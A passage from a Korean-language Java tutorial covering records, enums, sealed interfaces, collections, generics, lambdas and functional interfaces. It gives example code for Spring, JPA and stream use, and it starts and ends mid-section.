        .map(e -> new Sales(e.getKey(), e.getValue()))   // ← 여기서 이름이 생긴다
        .sorted(Comparator.comparingLong(Sales::total).reversed())
        .limit(5)
        .map(Sales::product)
        .toList();
}
예전엔 Map.Entry 나 Object[] 로 버티느라 e.getValue() 가 무슨 값인지 알 수 없었습니다. 지역 record 는 읽는 사람에게 이름을 줍니다.

④ 인터페이스 안 — sealed 계층을 한 파일에

public sealed interface PayResult {

    record Approved(String txId, long amount) implements PayResult { }
    record Declined(String code, String reason) implements PayResult { }
    record Pending (String txId)               implements PayResult { }
}

// 쓰는 쪽
PayResult r = gateway.pay(req);

String msg = switch (r) {
    case PayResult.Approved a -> "승인 " + a.txId();
    case PayResult.Declined d -> "거절(" + d.code() + ")";
    case PayResult.Pending  p -> "대기 중";
};
인터페이스 안에 두면 permits 를 생략할 수 있습니다 — 같은 파일이면 컴파일러가 목록을 스스로 압니다.
애매하면 이 순서로 정하세요. ① 일단 쓰는 클래스 안에 중첩으로 시작 → ② 두 번째 클래스가 import 하는 순간 별도 파일로 꺼냅니다.
처음부터 다 쪼개면 dto 패키지에 파일 80개가 쌓이고, “이 DTO 누가 쓰지?”를 찾는 데 시간을 씁니다.

record 값 바꾸기 · 안전하게 담기

setter 가 없습니다 — with 관례

public record Order(Long id, String status, long amount) {

    // "하나만 바꾼 새 객체"를 돌려줍니다
    public Order withStatus(String newStatus) {
        return new Order(id, newStatus, amount);
    }
}

var o1 = new Order(1L, "CREATED", 5000);
var o2 = o1.withStatus("PAID");

o1.status();   // "CREATED"  ← 원본은 그대로
o2.status();   // "PAID"
필드가 많아 with 가 늘어지면 record 에 Lombok @Builder 를 붙이거나 toBuilder 패턴을 씁니다.

불변은 “얕은 불변”입니다 ⚠️

// ❌ 겉만 불변 — 안의 List 는 밖에서 바뀝니다
public record Cart(String owner, List<String> items) { }

var list = new ArrayList<>(List.of("사과"));
var cart = new Cart("현우", list);
list.add("배");            // cart.items() 도 같이 바뀜 😱

// ✅ 압축 생성자에서 복사해 막습니다
public record Cart(String owner, List<String> items) {
    public Cart {
        items = List.copyOf(items);   // 복사 + 수정 불가 뷰
    }
}
// 이제 cart.items().add(…) 는 UnsupportedOperationException
List · Map · Set · 배열 · Date 를 필드로 받는 record 는 압축 생성자에서 List.copyOf · Map.copyOf · clone() 으로 한 번 복사해 두는 게 안전합니다.

equals 가 값 기준이라 이런 게 공짜로 됩니다

record Point(int x, int y) { }

// ① Map 의 키로 바로 사용 — 다른 인스턴스여도 값이 같으면 찾아집니다
Map<Point, String> grid = new HashMap<>();
grid.put(new Point(1, 2), "출발");
grid.get(new Point(1, 2));          // "출발" ✅ 값이 같으면 같은 키로 봅니다

// ② 중복 제거
List<Point> unique = points.stream().distinct().toList();

// ③ 여러 필드를 묶어 groupingBy
record Key(String region, int year) { }
Map<Key, List<Sale>> grouped = sales.stream()
        .collect(Collectors.groupingBy(s -> new Key(s.region(), s.year())));

// ④ 테스트에서 통째로 비교
assertThat(result).isEqualTo(new OrderRes(1L, "PAID", 5000));
③번이 특히 큽니다. 예전에는 region + "_" + year 처럼 문자열을 이어 붙여 키를 만들다 구분자 충돌로 사고가 났습니다. record 키는 그 실수가 구조적으로 불가능합니다.

Spring 에서 record 쓸 때 걸리는 것들

요청 바디 · 검증 · 설정값

// ① @RequestBody — Jackson 이 record 를 그대로 지원합니다 (2.12+)
public record SignupReq(
        @NotBlank @Email  String email,
        @Size(min = 8)    String password,
        @NotNull          LocalDate birth) { }

@PostMapping("/signup")
public ResponseEntity<Void> signup(@Valid @RequestBody SignupReq req) { … }

// ② 쿼리 파라미터 바인딩도 됩니다 (@RequestBody 없이)
public record SearchReq(String keyword, int page, int size) { }

@GetMapping("/search")
public List<Item> search(SearchReq req) { … }   // ?keyword=x&page=0&size=20

// ③ 설정값 묶음 — record 가 가장 잘 맞는 자리
@ConfigurationProperties("app.mail")
public record MailProps(String host, int port, String from) { }
JSON 키 이름이 다르면 @JsonProperty("user_name") String userName 처럼 컴포넌트에 바로 붙입니다. 컴파일 옵션 -parameters 가 꺼져 있으면 이름 매칭이 깨지는데 Spring Boot 는 기본으로 켜 줍니다.

JPA — 엔티티는 ❌, 조회 결과는 ✅

// ❌ 엔티티로는 못 씁니다 — 기본 생성자·프록시·더티체킹이 전부 안 됩니다
@Entity
public record User(…) { }        // 하지 마세요

// ✅ 조회 결과(프로젝션)로는 최고의 궁합
public record UserSummary(Long id, String name, long orderCount) { }

// ① JPQL 생성자 표현식
@Query("""
    select new com.shop.dto.UserSummary(u.id, u.name, count(o))
    from User u left join u.orders o
    group by u.id, u.name
""")
List<UserSummary> findSummaries();

// ② 파생 쿼리 + record 프로젝션 — 컴포넌트 이름이 엔티티 필드와 같아야 합니다
//    (orderCount 같은 집계값은 엔티티에 없으니 ①처럼 JPQL 로)
public record UserBrief(Long id, String name) { }
List<UserBrief> findByActiveTrue();

// ③ JdbcClient (Boot 3.2+)
var rows = jdbcClient.sql("select id, name, cnt as order_count from v_user")   // 컬럼명 ↔ orderCount 매칭
        .query(UserSummary.class).list();
엔티티를 그대로 응답하면 지연 로딩이 컨트롤러에서 터지거나 비밀번호까지 JSON 에 섞여 나갑니다. record 프로젝션은 필요한 컬럼만 SELECT 하므로 성능과 보안이 같이 잡힙니다.

record 로 안 되는 것 · 헷갈리는 것

이건 안 됩니다이유대신 이렇게
클래스 상속 extends 이미 java.lang.Record 를 상속했고 암묵적 final 인터페이스 구현은 자유롭습니다 (implements)
인스턴스 필드 추가
private int cache;
상태는 헤더에 적힌 컴포넌트가 전부여야 함 static 필드는 허용. 계산값은 메서드로
setter · 필드 재할당 모든 컴포넌트가 final withXxx() 로 새 객체를 만들어 돌려줍니다
getName() 호출 접근자 이름이 name() — get 접두사가 없습니다 JSON 필드명은 그대로 name 이라 프런트는 영향 없음
기본 생성자 new Money() 전체 인자 생성자만 자동 생성 필요하면 static Money zero() 같은 정적 팩토리

Lombok @Data 와 뭐가 다른가

  • record 는 언어 문법 — 컴파일러·IDE·라이브러리가 전부 이해합니다. Lombok 은 컴파일 시 코드를 끼워 넣는 외부 도구입니다
  • record 는 불변 고정, @Data 는 setter 를 만들어 가변
  • record 는 패턴 매칭 분해가 됩니다 — Lombok 클래스는 안 됩니다
  • 가변이 꼭 필요한 자리(JPA 엔티티)는 여전히 @Getter + 클래스가 맞습니다
정리 — 엔티티는 클래스, 그 밖의 데이터 묶음은 전부 record. 이 한 줄이 요즘 자바 프로젝트의 기본값입니다.

제네릭 record · 통째 분해

// 제네릭도 그대로 됩니다
public record Page<T>(List<T> content, int page, int size, long total) {
    public boolean hasNext() {
        return (long) (page + 1) * size < total;   // content.size() 를 쓰면 마지막 페이지에서 틀립니다
    }
}

Page<OrderRes> p = new Page<>(list, 0, 20, 137);

// 패턴 매칭으로 통째 분해 (Java 21+)
record Point(int x, int y) { }
record Line(Point from, Point to) { }

if (obj instanceof Line(Point(var x1, var y1), Point(var x2, var y2))) {
    System.out.println(x1 + "," + y1 + " -> " + x2 + "," + y2);
}   // ← 접근자를 한 번도 안 부르고 값이 전부 풀립니다
분해 문법은 16번 섹션에서 sealed · switch 와 묶어 더 다룹니다.

enum — 정해진 값만 존재하게 만들기

public enum OrderStatus {
    // 각 상수가 값과 동작을 가질 수 있다
    CREATED("주문 접수", true),
    PAID("결제 완료", true),
    SHIPPED("배송 중", false),
    DONE("배송 완료", false),
    CANCELLED("취소됨", false);

    private final String label;
    private final boolean cancelable;

    OrderStatus(String label, boolean cancelable) {   // 생성자는 private 고정
        this.label = label;
        this.cancelable = cancelable;
    }

    public String label() { return label; }
    public boolean cancelable() { return cancelable; }

    // 상수마다 다르게 동작하게 할 수도 있다
    public OrderStatus next() {
        return switch (this) {
            case CREATED -> PAID;
            case PAID    -> SHIPPED;
            case SHIPPED -> DONE;
            default      -> this;
        };
    }
}

// 쓰기
OrderStatus.PAID.label();            // "결제 완료"
OrderStatus.valueOf("PAID");         // 문자열 -> enum (없으면 예외)
OrderStatus.values();                // 전체 배열
EnumSet.of(CREATED, PAID);           // enum 전용 고성능 Set
Map<OrderStatus, Integer> m = new EnumMap<>(OrderStatus.class);
문자열 상수 대신 enum 을 쓰는 이유 — "PIAD" 처럼 오타를 내면 문자열은 런타임에야 터지지만 enum 은 컴파일 시점에 잡힙니다. 그리고 IDE 자동완성이 됩니다.

sealed — 상속할 수 있는 대상을 지정 Java 17+

// "이 셋 말고는 아무도 Result 를 구현할 수 없다"
public sealed interface Result
        permits Success, Failure, Pending { }

public record Success(String data) implements Result { }
public record Failure(String reason, int code) implements Result { }
public record Pending() implements Result { }

// 덕분에 switch 가 '모든 경우를 다뤘는지' 검사해 준다
String describe(Result r) {
    return switch (r) {                       // default 가 없어도 됨!
        case Success s -> "성공: " + s.data();
        case Failure f -> "실패(%d): %s".formatted(f.code(), f.reason());
        case Pending p -> "처리 중";
    };
}
// 나중에 Result 구현을 하나 추가하면 -> 여기서 컴파일 에러 ✅

언제 쓰나

  • 결과가 몇 가지로 딱 나뉠 때 — 성공/실패/보류, 결제수단, 이벤트 종류
  • 예외를 던지는 대신 결과를 값으로 돌려주고 싶을 때
  • 도메인 상태를 타입으로 표현하고 싶을 때

record + sealed + switch 패턴 매칭은 함께 쓸 때 위력이 나옵니다. 경우가 늘어나도 빠뜨린 곳을 컴파일러가 전부 알려 주기 때문에, “처리 안 한 상태가 있는지” 사람이 기억할 필요가 없습니다.

16번 섹션에서 패턴 매칭과 함께 더 깊게 다룹니다.
JAVA 08

컬렉션 완전정복

자바 실무의 체감 8할이 컬렉션입니다. List · Set · Map 셋과, 각각을 언제 쓰는지만 정확히 알면 됩니다.

컬렉션 고르기 — 위에서부터 질문 두 개에 답하면 끝난다 ① 이름표(키)로 찾는가? 예 Map HashMap · 순서 유지 LinkedHashMap · 정렬 TreeMap 아니오 ② 중복을 허용하는가? 아니오 Set HashSet · 넣은 순서 유지 LinkedHashSet · 정렬 TreeSet 예 List — 가장 많이 쓰는 기본값 ArrayList · 앞뒤로 넣고 빼는 일이 잦으면 ArrayDeque(스택 · 큐) 「이 목록 안에 있나?」를 for 문으로 도는 코드가 보이면 — Set 이나 Map 으로 바꿀 자리다 List.contains 는 전부 훑고(O(n)), Set.contains 는 한 번에 찾는다(O(1)) — 개수가 커질수록 벌어진다
셋 중 무엇을 쓸지는 질문 두 개로 갈립니다 — 나머지 구현체 선택은 그다음 문제입니다.
인터페이스주요 구현체언제 · 특징
List
순서 있음 · 중복 허용
ArrayList기본값. 인덱스 접근 O(1), 중간 삽입·삭제는 느림
LinkedList앞뒤 삽입·삭제가 잦을 때. 실무에선 거의 ArrayDeque로 대체
Set
순서 없음 · 중복 불가
HashSet기본값. 포함 검사 O(1). 순서 보장 안 함
LinkedHashSet넣은 순서를 유지하면서 중복 제거
TreeSet자동 정렬 상태 유지. O(log n)
Map
키 → 값
HashMap기본값. 조회 O(1)
LinkedHashMap넣은 순서 유지. LRU 캐시로도 씁니다
TreeMap키 기준 정렬. 범위 조회 가능
Deque
양쪽 끝
ArrayDeque스택·큐는 전부 이걸로. Stack 클래스는 쓰지 마세요
QueuePriorityQueue우선순위 큐(힙). 항상 가장 작은 것이 먼저

List — 가장 많이 씁니다

List<String> names = new ArrayList<>();
names.add("김현우");
names.add("이서연");
names.get(0);                 // "김현우"
names.size();                 // 2
names.contains("김현우");      // true
names.remove("김현우");        // 값으로 삭제
names.remove(0);              // 인덱스로 삭제 (주의: List<Integer> 에서 헷갈림)

// 불변 리스트 — 고칠 수 없음 (안전)
List<String> fixed = List.of("A", "B", "C");
// fixed.add("D");            UnsupportedOperationException

// 불변 리스트를 바꿔야 하면 복사해서
var mutable = new ArrayList<>(fixed);

// 정렬
names.sort(Comparator.naturalOrder());
names.sort(Comparator.comparing(String::length)
                     .thenComparing(Comparator.naturalOrder()));

// 조건 삭제
names.removeIf(n -> n.startsWith("이"));

// 배열 ↔ 리스트
String[] arr = names.toArray(new String[0]);
List<String> back = Arrays.asList(arr);      // ⚠️ 크기 고정 리스트
List<String> safe = new ArrayList<>(Arrays.asList(arr));  // ✅

Map — 두 번째로 많이 씁니다

Map<String, Integer> stock = new HashMap<>();
stock.put("사과", 10);
stock.get("사과");                    // 10
stock.get("배");                      // null  ← NPE 주의
stock.getOrDefault("배", 0);          // 0     ✅ 안전

stock.containsKey("사과");             // true
stock.remove("사과");

// 없을 때만 넣기
stock.putIfAbsent("포도", 5);

// 있으면 수정, 없으면 초기값 — 카운팅의 정석
stock.merge("사과", 1, Integer::sum);          // 없으면 1, 있으면 +1
stock.computeIfAbsent("배", k -> 0);
stock.compute("사과", (k, v) -> v == null ? 1 : v + 1);

// 순회 — entrySet 이 가장 효율적
for (var e : stock.entrySet()) {
    System.out.println(e.getKey() + " = " + e.getValue());
}
stock.forEach((k, v) -> System.out.println(k + " = " + v));

// 값이 리스트인 Map — 그룹핑에서 자주 나옵니다
Map<String, List<Order>> byUser = new HashMap<>();
byUser.computeIfAbsent("kim", k -> new ArrayList<>()).add(order);

Set — 중복 제거와 포함 검사

Set<String> tags = new HashSet<>(List.of("a", "b", "a"));
tags.size();                 // 2 (중복 자동 제거)
tags.contains("a");          // true — O(1), List 보다 훨씬 빠름

// 집합 연산
var A = new HashSet<>(List.of(1, 2, 3));
var B = new HashSet<>(List.of(2, 3, 4));
var union = new HashSet<>(A); union.addAll(B);       // 합집합 {1,2,3,4}
var inter = new HashSet<>(A); inter.retainAll(B);    // 교집합 {2,3}
var diff  = new HashSet<>(A); diff.removeAll(B);     // 차집합 {1}

// 순서를 지키면서 중복 제거
var ordered = new LinkedHashSet<>(names);
Set·Map 의 키로 쓰는 객체는 equals/hashCode 를 반드시 구현해야 합니다. 안 하면 “분명 넣었는데 contains 가 false”가 됩니다. record 를 쓰면 자동으로 만들어져서 이 문제가 없습니다.

Deque — 스택과 큐

Deque<Integer> stack = new ArrayDeque<>();
stack.push(1);        // 위에 쌓기
stack.push(2);
stack.pop();          // 2 — 마지막에 넣은 것부터 (LIFO)
stack.peek();         // 1 — 꺼내지 않고 보기

Deque<String> queue = new ArrayDeque<>();
queue.offer("첫번째"); // 뒤에 넣기
queue.offer("두번째");
queue.poll();         // "첫번째" — 먼저 넣은 것부터 (FIFO)

// 우선순위 큐 — 항상 가장 작은 것이 먼저 나온다
var pq = new PriorityQueue<Order>(Comparator.comparing(Order::getAmount));
pq.offer(order1);
pq.poll();            // 금액이 가장 작은 주문
Stack과 Vector는 쓰지 마세요 — 자바 1.0 시절 클래스라 모든 메서드에 동기화가 걸려 있어 느리고, Stack은 순회 순서까지 직관과 반대입니다. 전부 ArrayDeque로 대체하면 됩니다.

성능 감각 — 왜 자료구조를 고르나

작업ArrayListLinkedListHashSet / HashMapTreeMap
인덱스로 꺼내기O(1)O(n)——
값이 있는지 확인O(n)O(n)O(1)O(log n)
맨 뒤에 추가O(1)O(1)O(1)O(log n)
맨 앞에 추가O(n)O(1)——
정렬 상태 유지✗✗✗✓
실전 판단법 — 데이터가 수천 건 이하면 뭘 써도 체감 차이가 없습니다. 다만 “이 목록에 이 값이 있나?”를 반복문 안에서 확인하고 있다면 (list.contains()가 for 안에 있다면) 그건 O(n²)입니다. Set 이나 Map 으로 바꾸는 순간 100배 빨라집니다. 이 한 가지만 기억하세요.
JAVA 09

제네릭 — <> 안에 들어가는 것

List<String>의 <String>이 제네릭입니다. “이 목록에는 String 만 들어간다”를 컴파일러에게 알려 주는 장치입니다.

왜 필요한가

// ❌ 제네릭이 없던 시절 — 꺼낼 때마다 형변환
List list = new ArrayList();
list.add("문자열");
list.add(123);                        // 아무거나 들어감
String s = (String) list.get(1);      // 런타임에 ClassCastException 💥

// ✅ 제네릭 — 컴파일 시점에 막는다
List<String> list2 = new ArrayList<>();
list2.add("문자열");
// list2.add(123);                    컴파일 에러 ✅
String s2 = list2.get(0);             // 형변환 불필요

직접 만들어 쓰기

// 어떤 타입이든 담는 응답 래퍼 — 실무에서 정말 자주 만듭니다
public record ApiResponse<T>(boolean success, T data, String message) {

    public static <T> ApiResponse<T> ok(T data) {
        return new ApiResponse<>(true, data, null);
    }

    public static <T> ApiResponse<T> fail(String message) {
        return new ApiResponse<>(false, null, message);
    }
}

ApiResponse<UserDto> r1 = ApiResponse.ok(user);
ApiResponse<List<OrderDto>> r2 = ApiResponse.ok(orders);

타입 파라미터 관례

글자의미
TType — 아무 타입
EElement — 컬렉션 원소
K, VKey, Value — Map
RResult — 반환 타입
?와일드카드 — 뭔지 몰라도 되는 자리

경계 — 아무 타입이나 말고

// T 는 Number 이거나 그 자식만 (그래야 doubleValue() 호출 가능)
public static <T extends Number> double sum(List<T> nums) {
    double total = 0;
    for (T n : nums) total += n.doubleValue();
    return total;
}

// 여러 조건
public static <T extends Comparable<T> & Serializable> T max(List<T> list) { ... }

와일드카드 — PECS

// Producer Extends — 읽기만 할 거면 extends
void printAll(List<? extends Number> list) {
    for (Number n : list) System.out.println(n);
    // list.add(1);   ✗ 넣을 수는 없음
}
printAll(List.of(1, 2, 3));        // List<Integer> OK
printAll(List.of(1.5, 2.5));       // List<Double>  OK

// Consumer Super — 넣기만 할 거면 super
void addNumbers(List<? super Integer> list) {
    list.add(1);                   // ✓ 넣기 가능
}
제네릭은 실행 시점엔 사라집니다 (타입 소거) — List<String>과 List<Integer>는 런타임에 둘 다 그냥 List입니다. 그래서 new T[] 같은 건 못 만들고, if (list instanceof List<String>) 같은 검사도 안 됩니다. 제네릭은 컴파일러에게 주는 정보라고 생각하면 정확합니다.
JAVA 10

람다와 함수형 인터페이스

-> 기호 하나가 자바를 크게 바꿨습니다. “동작을 값처럼 넘기는” 방법이 생겼기 때문입니다.

❌ 익명 클래스 — 5줄이 전부 껍데기
list.sort(new Comparator<String>() {
    @Override
    public int compare(String a, String b) {
        return a.length() - b.length();
    }
});

button.setOnAction(new EventHandler<ActionEvent>() {
    @Override
    public void handle(ActionEvent e) {
        System.out.println("클릭");
    }
});
✅ 람다 — 실제 로직만 남는다
list.sort((a, b) -> a.length() - b.length());
// 더 읽기 쉽게
list.sort(Comparator.comparingInt(String::length));

button.setOnAction(e -> System.out.println("클릭"));

람다는 추상 메서드가 딱 하나인 인터페이스(함수형 인터페이스)가 필요한 자리에만 쓸 수 있습니다.

한 장 요약 — 이 네 개만 알면 람다의 대부분이 읽힙니다

이름은 외우지 말고 「받는 것 → 돌려주는 것」 모양으로 읽으세요

인터페이스모양호출 메서드코틀린으로 쓰면어디서 만나나
Consumer<T>T 받음 → 반환 없음accept()(T) -> UnitforEach, ifPresent
Function<T,R>T 받음 → R 반환apply()(T) -> Rmap, computeIfAbsent
Predicate<T>T 받음 → boolean 반환test()(T) -> Booleanfilter, removeIf, anyMatch
Supplier<T>안 받음 → T 반환get()() -> TorElseGet, Stream.generate
Runnable (덤)안 받음 → 반환 없음run()() -> Unit스레드, ifPresentOrElse
읽는 요령 — 자바는 모양마다 이름(Consumer · Function …)과 호출 메서드(accept · apply …)를 따로 붙였고, 코틀린은 이름 없이 모양 그대로 (T) -> R 로 씁니다. 그래서 자바 쪽은 표의 「모양」 열만 보고 “T 를 받아서 R 을 돌려주는 함수구나” 하고 읽으면 됩니다. 인자가 둘이면 앞에 Bi(BiFunction<T,U,R> = (T, U) -> R), 입력과 출력 타입이 같으면 UnaryOperator<T>(= (T) -> T) — 아래 표에서 이어집니다.

자바 — 이름 있는 인터페이스, 메서드로 호출

Consumer<String> print = s -> System.out.println(s);
Function<String, Integer> len = s -> s.length();
Predicate<String> blank = s -> s.isBlank();
Supplier<List<String>> newList = () -> new ArrayList<>();

print.accept("hi");             // hi 출력
int n = len.apply("hello");     // 5
boolean b = blank.test("  ");   // true
List<String> l = newList.get(); // []

코틀린 — 이름 없는 함수 타입, 바로 호출

val print: (String) -> Unit = { println(it) }
val len: (String) -> Int = { it.length }
val blank: (String) -> Boolean = { it.isBlank() }
val newList: () -> List<String> = { listOf() }

print("hi")          // hi 출력 — () 로 바로 호출
val n = len("hello") // 5
val b = blank("  ")  // true
val l = newList()    // []
코틀린에서 자바 API(list.forEach 등)에 람다를 넘기면 SAM 변환으로 자바 인터페이스가 자동으로 만들어집니다 — 그래서 두 언어의 람다가 서로 그대로 오갑니다.

함수형 인터페이스란 정확히 무엇인가

한 줄로 “추상 메서드가 정확히 하나뿐인 인터페이스” 입니다. 그게 전부입니다. 특별한 종류가 따로 있는 게 아니라, 조건을 만족하면 그냥 함수형 인터페이스가 됩니다. Runnable, Comparator, Callable 처럼 자바 1.0~5 시절부터 있던 인터페이스들도 전부 여기에 해당합니다.

람다는 그 자체로 타입이 없다 — 「왼쪽에 무엇이 적혀 있는가」가 타입을 정한다 (타깃 타이핑) s -> s.length() 이것만으론 타입 없음 왼쪽에 적은 타입 (넣는 자리) Function<String,Integer> 호출은 apply() · stream.map 자리 ToIntFunction<String> 반환이 int — 박싱이 없다 StringToInt 내가 만든 인터페이스도 똑같다 컴파일러가 하는 일 — 세 단계 ① 왼쪽 타입을 본다 → ② 그 인터페이스의 추상 메서드 하나를 찾는다 → ③ 람다를 그 메서드의 구현으로 만든다 그래서 var f = s -> s.length(); 는 컴파일 에러다 — 왼쪽에 볼 것이 없기 때문이다
람다에는 타입이 없습니다 — 받는 쪽 타입이 곧 람다의 타입입니다.

왜 이런 게 필요한가

자바에는 “함수”라는 타입이 없습니다. JS 의 const f = x => x + 1 처럼 함수 자체를 변수에 담을 수 없습니다. 그래서 자바는 메서드 하나짜리 인터페이스로 함수를 흉내 냅니다.

// 이 인터페이스가 곧 "String 을 받아 int 를 주는 함수" 타입
@FunctionalInterface
interface StringToInt {
    int apply(String s);          // 추상 메서드 딱 하나
}

// ① 예전 방식 — 익명 클래스로 구현체를 만든다
StringToInt f1 = new StringToInt() {
    @Override public int apply(String s) { return s.length(); }
};

// ② 람다 — 위와 완전히 같은 뜻
StringToInt f2 = s -> s.length();

f2.apply("hello");   // 5
람다는 문법 설탕이 아니라 “구현체를 만드는 식”입니다. s -> s.length() 자체에는 타입이 없고, 왼쪽에 적힌 인터페이스가 타입을 결정합니다(타깃 타이핑).

같은 람다가 상황마다 다른 타입이 됩니다

// 똑같이 생긴 람다인데 타입이 전부 다릅니다
Runnable            r = () -> System.out.println("hi");
Supplier<String>    s = () -> "hi";       // 값을 돌려주므로 Supplier
Callable<String>    c = () -> "hi";       // 예외를 던질 수 있는 자리

// 그래서 이런 코드는 컴파일 에러 — 무슨 타입인지 알 수 없음
var x = () -> "hi";                       // ❌ var 로는 못 받습니다
Object o = () -> "hi";                    // ❌ Object 는 함수형 타입이 아님

// 굳이 받으려면 캐스팅으로 타입을 알려 줍니다
Object ok = (Supplier<String>) () -> "hi";   // ✅
람다를 어디에 넣느냐가 곧 타입입니다. 메서드 파라미터가 Predicate<T> 면 그 람다는 Predicate 가 되고, Comparator<T> 면 Comparator 가 됩니다.

@FunctionalInterface — 붙여야 하나요

  • 필수가 아닙니다. 안 붙여도 조건만 맞으면 람다를 쓸 수 있습니다
  • 역할은 안전장치 — 나중에 누가 추상 메서드를 하나 더 넣으면 그 인터페이스 파일에서 컴파일 에러가 납니다
  • 없으면 에러가 람다를 쓰던 수십 곳에서 터집니다. 그래서 붙이는 게 맞습니다
@FunctionalInterface
public interface Retryable<T> {

    T call() throws Exception;      // ← 추상 메서드는 이거 하나

    // ↓ 아래 셋은 개수에 안 들어갑니다
    default Retryable<T> twice() { … }        // default
    static  Retryable<String> empty() { … }   // static
    boolean equals(Object o);                 // Object 의 public 메서드
}
개수에 세지 않는 것 — default 메서드, static 메서드, Object 가 이미 가진 equals·hashCode·toString. 그래서 Comparator 는 메서드가 40개가 넘어도 함수형 인터페이스입니다.

람다는 익명 클래스와 다르게 동작합니다

항목익명 클래스람다
this익명 클래스 자기 자신감싼 바깥 클래스
클래스 파일Outer$1.class 생성안 생김 (invokedynamic)
인스턴스매번 새로 생성바깥 값을 안 쓰면 재사용
변수 가리기바깥 변수 이름을 덮어쓸 수 있음같은 이름 쓰면 컴파일 에러
public class Service {
    private String name = "서비스";

    void run() {
        Runnable a = new Runnable() {
            @Override public void run() {
                System.out.println(this);      // 익명 클래스 인스턴스
            }
        };
        Runnable b = () -> System.out.println(this);   // Service 인스턴스 ✅
    }
}
람다는 실행 시점에 LambdaMetafactory 가 구현체를 만들어 줍니다. 그래서 익명 클래스처럼 .class 파일이 쌓이지 않고, 바깥 변수를 캡처하지 않는 람다는 인스턴스를 한 번만 만들어 재사용합니다.

표준 함수형 인터페이스 — 이름 규칙만 알면 됩니다

표준 함수형 인터페이스 — 외울 건 6개

인터페이스모양쓰임
Function<T,R>T → R변환 map
Predicate<T>T → boolean조건 filter
Consumer<T>T → 없음소비 forEach
Supplier<T>없음 → T공급 (지연 생성)
UnaryOperator<T>T → T같은 타입 변환
BiFunction<T,U,R>T,U → R두 개를 받아 하나로
Function<String, Integer> len = s -> s.length();
Predicate<String> isEmpty = String::isEmpty;
Consumer<String> print = System.out::println;
Supplier<List<String>> newList = ArrayList::new;

len.apply("hello");        // 5
isEmpty.test("");          // true
print.accept("출력");
newList.get();             // 새 ArrayList

// 조합도 됩니다
Function<String, String> trimUpper =
        ((Function<String, String>) String::trim).andThen(String::toUpperCase);
Predicate<String> notEmpty = isEmpty.negate();

메서드 참조 — 람다를 더 줄이기

// 4가지 형태
list.forEach(s -> System.out.println(s));
list.forEach(System.out::println);            // 1) 정적/인스턴스 메서드

names.stream().map(s -> s.toUpperCase());
names.stream().map(String::toUpperCase);      // 2) 임의 객체의 메서드

orders.stream().map(o -> o.getAmount());
orders.stream().map(Order::getAmount);        // 3) getter

list.stream().map(s -> new User(s));
list.stream().map(User::new);                 // 4) 생성자 참조

직접 만드는 함수형 인터페이스

@FunctionalInterface        // 추상 메서드가 2개면 컴파일 에러로 알려 줌
public interface Validator<T> {
    void validate(T target);          // 딱 하나

    default Validator<T> and(Validator<T> other) {
        return t -> { validate(t); other.validate(t); };
    }
}

Validator<Order> notNull = o -> Objects.requireNonNull(o);
Validator<Order> positive = o -> {
    if (o.getAmount() <= 0) throw new IllegalArgumentException();
};
notNull.and(positive).validate(order);

java.util.function 에는 43개가 있습니다 — 하지만 조합 규칙 4개뿐

이름이 길어 보여도 기본 6개에 접두사·접미사를 붙인 것이 전부입니다. 규칙을 알면 ToIntBiFunction 같은 이름도 그 자리에서 읽힙니다.

붙는 말뜻예모양
Bi~인자를 2개 받는다BiFunction<T,U,R>
BiConsumer · BiPredicate
T,U → R
Int·Long
Double~
인자가 그 기본형 (박싱 없음)IntPredicate
IntFunction<R>
int → boolean
int → R
To~반환값이 그 기본형ToIntFunction<T>
ToLongBiFunction<T,U>
T → int
~Operator받는 타입과 주는 타입이 같다UnaryOperator<T>
BinaryOperator<T>
T → T
T,T → T
// 기본형 특화를 쓰는 이유 — 박싱 비용
Function<Integer, Integer> boxed = i -> i * 2;   // Integer ↔ int 변환이 매번 발생
IntUnaryOperator          fast  = i -> i * 2;    // 순수 int — 훨씬 빠릅니다

// 스트림이 IntStream 을 따로 두는 이유도 같습니다
orders.stream().mapToLong(Order::amount).sum();  // ✅ 박싱 없음
orders.stream().map(Order::amount).reduce(0L, Long::sum);   // 느림
수백만 건을 도는 루프가 아니면 박싱 차이는 체감되지 않습니다. 평소에는 읽기 쉬운 Function 을 쓰고, 대량 수치 연산에서만 기본형 특화를 꺼내면 충분합니다.

호출 메서드 이름이 제각각인 이유 — 그냥 외우는 표

인터페이스호출 메서드시그니처어디서 만나나
Function<T,R>apply()T → Rmap, computeIfAbsent
Predicate<T>test()T → booleanfilter, removeIf, anyMatch
Consumer<T>accept()T → voidforEach, ifPresent, peek
Supplier<T>get()() → TorElseGet, Stream.generate
Runnablerun()() → void스레드, ifPresentOrElse
Callable<T>call()() → T + 예외 가능ExecutorService.submit
Comparator<T>compare()T,T → intsort, max, sorted
Supplier 와 Callable 의 차이가 실무에서 자주 걸립니다. 둘 다 “인자 없이 값 하나”인데 Callable 만 체크 예외를 던질 수 있습니다. orElseGet(() -> repo.find()) 안에서 체크 예외가 나면 컴파일이 막히는 이유가 이것입니다.

조합 — default 메서드가 진짜 무기입니다

작은 조건을 붙여 큰 조건 만들기

Predicate<Order> paid     = o -> o.status() == PAID;
Predicate<Order> big      = o -> o.amount() >= 100_000;
Predicate<Order> thisYear = o -> o.createdAt().getYear() == 2026;

// 필요할 때 조립합니다
var target = paid.and(big).and(thisYear);
var refund = paid.and(big.negate());          // 결제됐지만 소액
var either = paid.or(thisYear);

orders.stream().filter(target).toList();

// 조건을 데이터처럼 담아 둘 수도 있습니다
Map<String, Predicate<Order>> filters = Map.of(
        "vip",    big,
        "recent", thisYear,
        "both",   big.and(thisYear));

orders.stream().filter(filters.get(userChoice)).toList();
조건을 값으로 다룰 수 있다는 게 핵심입니다. if 는 코드에 박히지만 Predicate 는 변수에 담고 · 인자로 넘기고 · Map 에 저장할 수 있습니다.

변환 이어 붙이기 · 정렬 쌓기

// andThen: 왼쪽 → 오른쪽,  compose: 오른쪽 → 왼쪽
Function<String, String> trim  = String::trim;
Function<String, String> upper = String::toUpperCase;

trim.andThen(upper).apply("  hi ");    // "HI"  (trim 먼저)
trim.compose(upper).apply("  hi ");    // "HI"  (upper 먼저)

// Function.identity() — "아무것도 안 바꿈". toMap 에서 자주 씁니다
Map<Long, Order> byId = orders.stream()
        .collect(Collectors.toMap(Order::id, Function.identity()));

// Comparator 는 조합이 가장 실용적입니다
orders.sort(Comparator
        .comparing(Order::status)                    // 1순위
        .thenComparing(Order::amount, reverseOrder()) // 2순위 금액 내림차순
        .thenComparing(Order::id));                   // 동점 처리

// memo 가 null 일 수 있을 때 — nullsLast 는 키 비교기 쪽에 둡니다
